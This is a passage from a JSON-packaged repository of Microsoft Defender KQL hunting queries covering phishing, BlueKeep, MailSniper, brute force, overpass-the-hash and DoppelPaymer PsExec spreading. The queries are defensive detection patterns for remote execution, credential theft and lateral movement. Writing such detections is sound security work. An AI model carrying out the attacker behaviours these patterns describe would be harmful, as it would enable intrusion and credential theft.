Recipient\n| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid \n// Get the Url click event on the recipient device.\n| join kind = inner  \n    (DeviceEvents \n    | where ActionType == \"BrowserLaunchedToOpenUrl\"| where isnotempty(RemoteUrl) \n    | project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl, \n                InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName\n    ) \n   on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid\n| distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId, \n    OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName \n| sort by UrlDeviceClickTime desc \n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | V | https://attack.mitre.org/techniques/T1566/002/ |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\nMicrosoft threat protection team\n"
  },
  {
    "path": "Initial access/WhenZAPed.md",
    "content": "\n# When email was ZAPed.\n\nThis query allows to verify when email matching your search condition (by default based on presence of the URL) were ZAPed and compare it with original delivery time.\n\n## Query\n\n```\nlet URL=\"\"; // Put your URL here\nEmailUrlInfo\n| where Url matches regex URL \n| join (EmailEvents | where DeliveryAction == \"Delivered\" and EmailDirection == \"Inbound\") on NetworkMessageId\n| project Timestamp, NetworkMessageId, Url, SenderFromAddress, SenderIPv4, RecipientEmailAddress, Subject,DeliveryAction, DeliveryLocation\n| join (EmailPostDeliveryEvents | where ActionType has \"ZAP\") on NetworkMessageId,RecipientEmailAddress \n| extend DeliveryTime=(Timestamp)\n| extend ZAPTime=(Timestamp1)\n| project DeliveryTime, ZAPTime, NetworkMessageId, SenderFromAddress, SenderIPv4,RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation\n| sort by DeliveryTime  asc\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | x |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Pawel Partyka\n\n**GitHub alias:** pawp81\n\n**Organization:** Microsoft\n\n**Contact info:** @pawp81\n"
  },
  {
    "path": "Initial access/detect-bluekeep-exploitation-attempts.md",
    "content": "# Detect BlueKeep exploitation attempts\n\nThis query was originally published in the threat analytics report, *Exploitation of CVE-2019-0708 (BlueKeep)*.\n\n[CVE-2019-0708](https://nvd.nist.gov/vuln/detail/CVE-2019-0708), also known as BlueKeep, is a critical remote code execution vulnerability involving RDP. Soon after its disclosure, the NSA issued a rare [advisory](https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/1865726/nsa-cybersecurity-advisory-patch-remote-desktop-services-on-legacy-versions-of/) about this vulnerability, out of concern that it could be used to quickly spread malware. Attackers have since used this vulnerability to [install cryptocurrency miners](https://www.wired.com/story/bluekeep-hacking-cryptocurrency-mining/) on targets.\n\nMicrosoft has issued [updates](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708) for this vulnerability, as well as [guidance](https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708) for protecting operating systems that we no longer support. Microsoft Defender ATP also contains [behavioral detections](https://www.microsoft.com/security/blog/2019/11/07/the-new-cve-2019-0708-rdp-exploit-attacks-explained/) for defending against this threat.\n\nThe following query detects devices with RDP connections that could be exploitation attempts.\n\n## Query\n\n```Kusto\nDeviceNetworkEvents\n| where InitiatingProcessFileName =~ \"spoolsv.exe\"\n| where RemotePort == \"3389\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect BlueKeep-related mining](../Execution/detect-bluekeep-related-mining.md)\n* [Detect command-and-control communication related to BlueKeep cryptomining](../Command%20and%20Control/c2-bluekeep.md)\n* [Detect suspicious RDP activity related to BlueKeep](..\\Lateral%20Movement\\detect-suspicious-rdp-connections.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Initial access/detect-mailsniper.md",
    "content": "# Detect activity by the penetration tool, MailSniper\n\nThis query was originally published in the threat analytics report, *MailSniper Exchange attack tool*.\n\n[MailSniper](https://github.com/dafthack/MailSniper) is a tool that targets Microsoft Exchange Server. The core function is to connect to Exchange Server and search through emails. In support of this, it can perform reconnaissance, collection, exfiltration, and credential theft. MailSniper is used both by red teams running penetration tests, and by malicious actors.\n\nMicrosoft Defender Security Center may record the following alerts during and after an attack:\n\n* Global mail search on Exchange using MailSniper\n* Exchange mailbox or mail folder search using MailSniper\n* Enumeration of Active Directory usernames using MailSniper\n* Enumeration of the Exchange GAL using MailSniper\n* Access to Exchange inboxes using MailSniper\n* Password spraying using MailSniper\n* Enumeration of domains and user accounts using MailSniper\n\nThe following query detects activity commonly associated with attacks run with MailSniper.\n\n## Query\n\n```Kusto\nlet dateRange = ago(10d);\n//\nlet whoamiProcess = DeviceProcessEvents\n| where ProcessCreationTime >= dateRange\n| where FileName =~ 'whoami.exe' and InitiatingProcessParentFileName =~ 'powershell.exe'\n| project DeviceId, whoamiTime = ProcessCreationTime, whoamiProcessName = FileName, \nwhoamiParentName = InitiatingProcessParentFileName, whoamiParentPID = InitiatingProcessParentId;\n//\nlet netProcess = DeviceProcessEvents \n| where ProcessCreationTime >= dateRange\n| where FileName =~ 'net.exe' and InitiatingProcessParentFileName =~ 'powershell.exe'\n| project DeviceId, netTime = ProcessCreationTime, ProcessCreationTime = FileName, \nnetParentName = InitiatingProcessParentFileName, netParentPID = InitiatingProcessParentId;\n//\nlet mailServerEvents = DeviceNetworkEvents\n| where Timestamp >= dateRange\n| where InitiatingProcessFileName =~ 'powershell.exe'\n| where RemoteUrl contains 'onmicrosoft.com'\nor RemoteUrl contains 'outlook.com'\n| project DeviceId, mailTime = Timestamp, mailProcessName = InitiatingProcessFileName, \nmailPID = InitiatingProcessId;\n//\nmailServerEvents\n| join netProcess on DeviceId \n| where netParentPID == mailPID and netParentName == mailProcessName \n| join whoamiProcess on DeviceId \n| where whoamiParentPID == mailPID and whoamiParentName == mailProcessName \n| where netTime < mailTime + 4h and netTime > mailTime - 4h\n| where whoamiTime < mailTime + 4h and whoamiTime > mailTime - 4h\n| project DeviceId, EstimatedIncidentTime = mailTime, ProcessName = mailProcessName, \nProcessID = mailPID\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection | v |  |\n| Command and control |  |  |\n| Exfiltration | v |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Initial access/files-from-malicious-sender.md",
    "content": "\n# Files from malicious sender\n\nThis query checks devices for the presence of files that have been sent by a known malicious sender. To use this query, replace the email address with the address of the known malicious sender.\n\n## Query\n\n```\n//Get prevalence of files sent by a malicious sender in your organization\nEmailAttachmentInfo\n| where SenderFromAddress =~ \"MaliciousSender@example.com\"\n| where isnotempty(SHA256)\n| join (\nDeviceFileEvents\n| project FileName, SHA256\n) on SHA256\n```\n\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v | Checks for the presence of potentially malicious files on devices sent via email |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Initial access/identify-potential-missed-phishing-email-campaigns.md",
    "content": "\n# Identify potential missed phishing email campaigns\n\n// Identify emails that were send from an address external to your company and where email was send to more then 50 distinct corporate users\n// Update corporatedomain.com to your corporate domain to have it excluded\n// Update 50 if you want to adjust the distinct user count\n\n## Query\n\nEmailEvents\n| where SenderFromDomain != \"corporatedomain.com\"\n| summarize dcount(RecipientEmailAddress) by SenderFromAddress, NetworkMessageId, AttachmentCount, SendTime = Timestamp \n| where dcount_RecipientEmailAddress > 50\n\n## Category\n\nThis query can be used the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | X |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** < Milad Aslaner >\n\n**GitHub alias:** < https://github.com/MiladMSFT >\n\n**Organization:** < Microsoft >\n\n**Contact info:** < Twitter: MiladMSFT >\n"
  },
  {
    "path": "Initial access/jar-attachments.md",
    "content": "# Detecting a JAR attachment\n\nThis query was originally published in the threat analytics report, *Adwind utilizes Java for cross-platform impact*.\n\nAdwind is a remote access tool (RAT) that takes advantage of the cross-platform capabilities of the Java framework. It can check which operating system a target is running and adapt accordingly, allowing it to successfully compromise both Windows and macOS devices.\n\nThe query below must be run in Microsoft 365 Defender. This query detects events where a single Java archive, or JAR file, was attached to an incoming email. Since Adwind is distributed as a JAR file, this can help detect the initial access stage of a Adwind attack. Note that, although the behavior detected by this query is typical of attacks that use Adwind malware, unrelated attacks may use the same or similar techniques. Also note that JAR attachments are not necessarily or even often malware, and that further research will be needed to determine if query results are associated with malicious behavior.\n\nSee [Hiding a Java class file](../Defense%20evasion/hiding-java-class-file.md) for an additional query that detects behavior associated with Adwind attacks.\n\n## Query\n\n```kusto\nlet mailsHTML = EmailAttachmentInfo\n| where FileType startswith \"Jar\"\n| distinct NetworkMessageId;\nEmailEvents\n| where NetworkMessageId in (mailsHTML) and AttachmentCount > 0\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access | v | Microsoft 365 Defender exclusive |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "LICENSE",
    "content": "    MIT License\n\n    Copyright (c) Microsoft Corporation. All rights reserved.\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in all\n    copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n    SOFTWARE\n"
  },
  {
    "path": "Lateral Movement/Account brute force.txt",
    "content": "// Query #1: Look for public IP addresses that failed to logon to a computer multiple times, using multiple accounts, and eventually succeeded.\nDeviceLogonEvents\n| where isnotempty(RemoteIP) \n    and AccountName !endswith \"$\"\n    and RemoteIPType == \"Public\"\n| extend Account=strcat(AccountDomain, \"\\\\\", AccountName)\n| summarize \n    Successful=countif(ActionType == \"LogonSuccess\"),\n    Failed = countif(ActionType == \"LogonFailed\"),\n    FailedAccountsCount = dcountif(Account, ActionType == \"LogonFailed\"),\n    SuccessfulAccountsCount = dcountif(Account, ActionType == \"LogonSuccess\"),\n    FailedAccounts = makeset(iff(ActionType == \"LogonFailed\", Account, \"\"), 5),\n    SuccessfulAccounts = makeset(iff(ActionType == \"LogonSuccess\", Account, \"\"), 5)\n    by DeviceName, RemoteIP, RemoteIPType\n| where Failed > 10 and Successful > 0 and FailedAccountsCount > 2 and SuccessfulAccountsCount == 1\n\n// Query #2: Look for machines failing to log-on to multiple machines or using multiple accounts\n// Note - RemoteDeviceName is not available in all remote logon attempts\nDeviceLogonEvents\n| where isnotempty(RemoteDeviceName)\n| extend Account=strcat(AccountDomain, \"\\\\\", AccountName)\n| summarize \n    Successful=countif(ActionType == \"LogonSuccess\"),\n    Failed = countif(ActionType == \"LogonFailed\"),\n    FailedAccountsCount = dcountif(Account, ActionType == \"LogonFailed\"),\n    SuccessfulAccountsCount = dcountif(Account, ActionType == \"LogonSuccess\"),\n    FailedComputerCount = dcountif(DeviceName, ActionType == \"LogonFailed\"),\n    SuccessfulComputerCount = dcountif(DeviceName, ActionType == \"LogonSuccess\")\n    by RemoteDeviceName\n| where\n    Successful > 0 and\n    ((FailedComputerCount > 100 and FailedComputerCount > SuccessfulComputerCount) or\n        (FailedAccountsCount > 100 and FailedAccountsCount > SuccessfulAccountsCount))\n"
  },
  {
    "path": "Lateral Movement/Device Logons from Unknown IPs.txt",
    "content": "////////////////////////////////////////////////////////////////////\n// Device Logons from Unknown IP Addresses\n//\n// This query identifies device logons from IP addresses not associated with any machine in Defender ATP\n////////////////////////////////////////////////////////////////////\nDeviceLogonEvents\n| where RemoteIPType == \"Public\"\n| join kind=leftanti (\n    DeviceNetworkInfo\n    | project NetworkInfo = todynamic(IPAddresses )\n    | mvexpand NetworkInfo\n    | project IpAddress = tostring(parse_json(NetworkInfo).IPAddress)\n    | distinct IpAddress\n) on $left.RemoteIP == $right.IpAddress // Removes any IP addresses assigned to a device\n| join kind=leftanti (\n    IdentityLogonEvents\n    | where ISP != \"INTERNAL_NETWORK\"\n) on $left.RemoteIP == $right.IPAddress // Remove any IP addresses identified as internal by Microsoft Cloud App Security\n| summarize EarliestEvent = min(Timestamp), LatestEvent = max(Timestamp), Instances = count(), DistinctMachines = dcount(DeviceId) by AccountDomain, AccountName, LogonType, RemoteIP, ActionType\n"
  },
  {
    "path": "Lateral Movement/ImpersonatedUserFootprint.md",
    "content": "\n# ImpersonatedUserFootprint\n\nAzure ATP raises alert on suspicious Kerberos ticket, pointing to a potential overpass-the-hash attack. \nOnce attackers gain credentials for a user with higher privileges, they will use the stolen credentials to sign into other devices and move laterally.\nThis query finds related sign-in events following overpass-the-hash attack to trace the footprint of the impersonated user.\n\n## Query\n\n```\nAlertInfo\n| where ServiceSource == \"Azure ATP\"\n| where Title == \"Suspected overpass-the-hash attack (Kerberos)\"\n| extend AlertTime = Timestamp \n| join \n    (\n        AlertEvidence \n            | where EntityType == \"User\"\n    ) \n    on AlertId \n| distinct AlertTime,AccountSid \n| join kind=leftouter  \n    (\n        DeviceLogonEvents\n        | where LogonType == \"Network\" and ActionType == \"LogonSuccess\"\n        | extend LogonTime = Timestamp \n    )\n    on AccountSid \n| where LogonTime between (AlertTime .. (AlertTime + 2h))\n| project DeviceId , AlertTime , AccountName , AccountSid \n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement | V | https://attack.mitre.org/techniques/T1550/002/ | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\nMicrosoft threat protection team\n"
  },
  {
    "path": "Lateral Movement/Network Logons with Local Accounts.md",
    "content": "# Network Logons with Local Accounts\n\nThis query looks for a large number of network-based authentications using local credentials coming from a single source IP address. High counts of logons involving a large number of distinct machines may identify an attacker beachhead within an enterprise.\n\n## Query\n```\nDeviceLogonEvents\n| where Timestamp > ago(30d)\n| where AccountDomain == DeviceName and isnotempty( RemoteIP) and RemoteIP !in ('::1','-', '0.0.0.0') and RemoteIP !startswith \"127.\"\n| summarize LogonAttempts = count(), DistinctMachines = dcount(DeviceId), Successes = countif(ActionType == 'Success'), RemoteDeviceName = any(RemoteDeviceName)  by RemoteIP, Protocol, LogonType, AccountName\n| order by Successes desc, LogonAttempts desc\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement | v |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Lateral Movement/Non-local logons with -500 account.txt",
    "content": "////////////////////////////////////////////////////////////////////\n// Non-local logons with the built-in administrator (-500) account\n////////////////////////////////////////////////////////////////////\nDeviceLogonEvents\n| where AccountSid endswith '-500' and parse_json(AdditionalFields).IsLocalLogon != true\n| join kind=leftanti IdentityLogonEvents on AccountSid // Remove the domain's built-in admin acccount\n"
  },
  {
    "path": "Lateral Movement/ServiceAccountsPerformingRemotePS.txt",
    "content": "// Service Accounts Performing Remote PowerShell\n// Author: miflower\n// The purpose behind this detection is for finding service accounts that are performing remote powershell sessions\n// There are two phases to the detection: Identify service accounts, Find remote PS cmdlets being ran by these accounts\n// To accomplish this, we utilize DeviceLogonEvents and DeviceEvents to find cmdlets ran that meet the criteria\n// One of the main advantages of this method is that only requires server telemetry, and not the attacking client\n// The first phase relies on the DeviceLogonEvents to determine whether an account is a service account or not, consider the following accounts with logons:\n// random_user has DeviceLogonEvents with type 2, 3, 7, 10, 11 & 13\n// random_service_account 'should' only have DeviceLogonEvents with type 3,4 or 5\n//\nlet InteractiveTypes = pack_array(                                  // Declare Interactive logon type names\n    'Interactive',\n    'CachedInteractive',\n    'Unlock',\n    'RemoteInteractive',\n    'CachedRemoteInteractive',\n    'CachedUnlock'\n);\nlet WhitelistedCmdlets = pack_array(                                // List of whitelisted commands that don't provide a lot of value\n    'prompt',\n    'Out-Default',\n    'out-lineoutput',\n    'format-default',\n    'Set-StrictMode',\n    'TabExpansion2'\n);\nlet WhitelistedAccounts = pack_array('FakeWhitelistedAccount');     // List of accounts that are known to perform this activity in the environment and can be ignored\nDeviceLogonEvents                                                         // Get all logon events...\n| where AccountName !in~ (WhitelistedAccounts)                      // ...where it is not a whitelisted account...\n| where ActionType == \"LogonSuccess\"                                // ...and the logon was successful...\n| where AccountName !contains \"$\"                                   // ...and not a machine logon.\n| where AccountName !has \"winrm va_\"                                // WinRM will have pseudo account names that match this if there is an explicit permission for an admin to run the cmdlet, so assume it is good.\n| extend IsInteractive=(LogonType in (InteractiveTypes))            // Determine if the logon is interactive (True=1,False=0)...\n| summarize HasInteractiveLogon=max(IsInteractive)                  // ...then bucket and get the maximum interactive value (0 or 1)...\n            by AccountName                                          // ... by the AccountNames\n| where HasInteractiveLogon == 0                                    // ...and filter out all accounts that had an interactive logon.\n// At this point, we have a list of accounts that we believe to be service accounts\n// Now we need to find RemotePS sessions that were spawned by those accounts\n// Note that we look at all powershell cmdlets executed to form a 29-day baseline to evaluate the data on today\n| join kind=rightsemi (                                             // Start by dropping the account name and only tracking the...\n\tDeviceEvents                                                      // ...\n\t| where ActionType == 'PowerShellCommand'                       // ...PowerShell commands seen...\n\t| where InitiatingProcessFileName =~ 'wsmprovhost.exe'          // ...whose parent was wsmprovhost.exe (RemotePS Server)...\n    | extend AccountName = InitiatingProcessAccountName             // ...and add an AccountName field so the join is easier\n) on AccountName\n// At this point, we have all of the commands that were ran by service accounts\n| extend Command = tostring(extractjson('$.Command', AdditionalFields))   // Extract the actual PowerShell command that was executed\n| where Command !in (WhitelistedCmdlets)                            // Remove any values that match the whitelisted cmdlets\n| summarize (Timestamp, ReportId)=argmax(Timestamp, ReportId),      // Then group all of the cmdlets and calculate the min/max times of execution...\n    makeset(Command), count(), min(Timestamp) by                    // ...as well as creating a list of cmdlets ran and the count..\n    AccountName, DeviceName, DeviceId                            // ...and have the commonality be the account, DeviceName and DeviceId\n// At this point, we have machine-account pairs along with the list of commands run as well as the first/last time the commands were ran\n| order by AccountName asc                                          // Order the final list by AccountName just to make it easier to go through\n| where min_Timestamp > ago(1d)                                     // Included to restrict the scope for the custom detection page\n"
  },
  {
    "path": "Lateral Movement/detect-suspicious-rdp-connections.md",
    "content": "# Detect suspicious RDP activity related to BlueKeep\n\nThis query was originally published in the threat analytics report, *Exploitation of CVE-2019-0708 (BlueKeep)*.\n\n[CVE-2019-0708](https://nvd.nist.gov/vuln/detail/CVE-2019-0708), also known as BlueKeep, is a critical remote code execution vulnerability involving RDP. Soon after its disclosure, the NSA issued a rare [advisory](https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/1865726/nsa-cybersecurity-advisory-patch-remote-desktop-services-on-legacy-versions-of/) about this vulnerability, out of concern that it could be used to quickly spread malware. Attackers have since used this vulnerability to [install cryptocurrency miners](https://www.wired.com/story/bluekeep-hacking-cryptocurrency-mining/) on targets.\n\nMicrosoft has issued [updates](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708) for this vulnerability, as well as [guidance](https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708) for protecting operating systems that we no longer support. Microsoft Defender ATP also contains [behavioral detections](https://www.microsoft.com/security/blog/2019/11/07/the-new-cve-2019-0708-rdp-exploit-attacks-explained/) for defending against this threat.\n\nThe following query locates Windows 7 or Windows Server 2008 machines initiating outbound connections to internal or public IP addresses on TCP port 3389. It filters out common RDP programs and scanning tools and shows the number of connections per machine. It can identify machines with relatively intense outbound network activity on the common RDP port (TCP/3389). You can use it to find processes that might be scanning for possible targets or exhibiting worm-like behavior.\n\n## Query\n\n```Kusto\n// Find unusual processes on Windows 7 or Windows Server 2008 machines with\n// outbound connections to TCP port 3389\nlet listMachines = DeviceInfo\n| where OSVersion == \"6.1\" //Win7 and Srv2008\n| distinct DeviceId;\nDeviceNetworkEvents\n| where RemotePort == 3389\n| where Protocol == \"Tcp\" and ActionType == \"ConnectionSuccess\"\n| where InitiatingProcessFileName !in~  //filter some legit programs\n(\"mstsc.exe\",\"RTSApp.exe\", \"RTS2App.exe\",\"RDCMan.exe\",\"ws_TunnelService.exe\",\"RSSensor.exe\"\n\"RemoteDesktopManagerFree.exe\",\"RemoteDesktopManager.exe\",\"RemoteDesktopManager64.exe\",\n\"mRemoteNG.exe\",\"mRemote.exe\",\"Terminals.exe\",\"spiceworks-finder.exe\",\n\"FSDiscovery.exe\",\"FSAssessment.exe\")\n| join listMachines on DeviceId\n| project Timestamp, DeviceId, DeviceName, RemoteIP, InitiatingProcessFileName, \nInitiatingProcessFolderPath, InitiatingProcessSHA1\n| summarize conn=count() by DeviceId, InitiatingProcessFileName, bin(Timestamp, 1d)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect BlueKeep-related mining](../Execution/detect-bluekeep-related-mining.md)\n* [Detect command-and-control communication related to BlueKeep cryptomining](../Command%20and%20Control/c2-bluekeep.md)\n* [Detect BlueKeep exploitation attempts](../Initial%20access/detect-bluekeep-exploitation-attempts.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Lateral Movement/doppelpaymer-psexec.md",
    "content": "# Detect DoppelPaymer operators spreading files with PsExec\n\nThis query was originally published in the threat analytics report, *Doppelpaymer: More human-operated ransomware*. There is also a related [blog](https://msrc-blog.microsoft.com/2019/11/20/customer-guidance-for-the-dopplepaymer-ransomware/).\n\n[DoppelPaymer](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoppelPaymer!MTB&threatId=-2147205372) is ransomware that is spread manually by human operators. These operators have exhibited extensive knowledge of system administration and common network security misconfigurations. They often use stolen credentials from over-privileged service accounts to turn off security software, run malicious commands, and spread malware throughout an organization. More specifically, they use common remote execution tools, such as [PsExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), to move laterally and distribute ransomware.\n\nThe following query detects suspicious usage of PsExec to create files on a remote device.\n\nThe [See also](#See-also) section below lists links to other queries associated with DoppelPaymer.\n\n## Query\n\n```Kusto\n// PsExec creating files on remote machines\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where InitiatingProcessFileName startswith \"psexe\"\n| summarize CommandCount = dcount(ProcessCommandLine), makeset(ProcessCommandLine),\nmakeset(FileName) by DeviceId, bin(Timestamp, 1d)\n| where CommandCount > 2\n| where set_ProcessCommandLine has \"copy\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect DoppelPaymer performing reconnaissance with net.exe](../Discovery/doppelpaymer.md)\n* [Detect DoppelPaymer operators stopping services](../Defense%20evasion/doppelpaymer-stop-services.md)\n* [Detect DoppelPaymer operators dumping credentials with ProcDump](../Credential%20Access/doppelpaymer-procdump.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Lateral Movement/remote-file-creation-with-psexec.md",
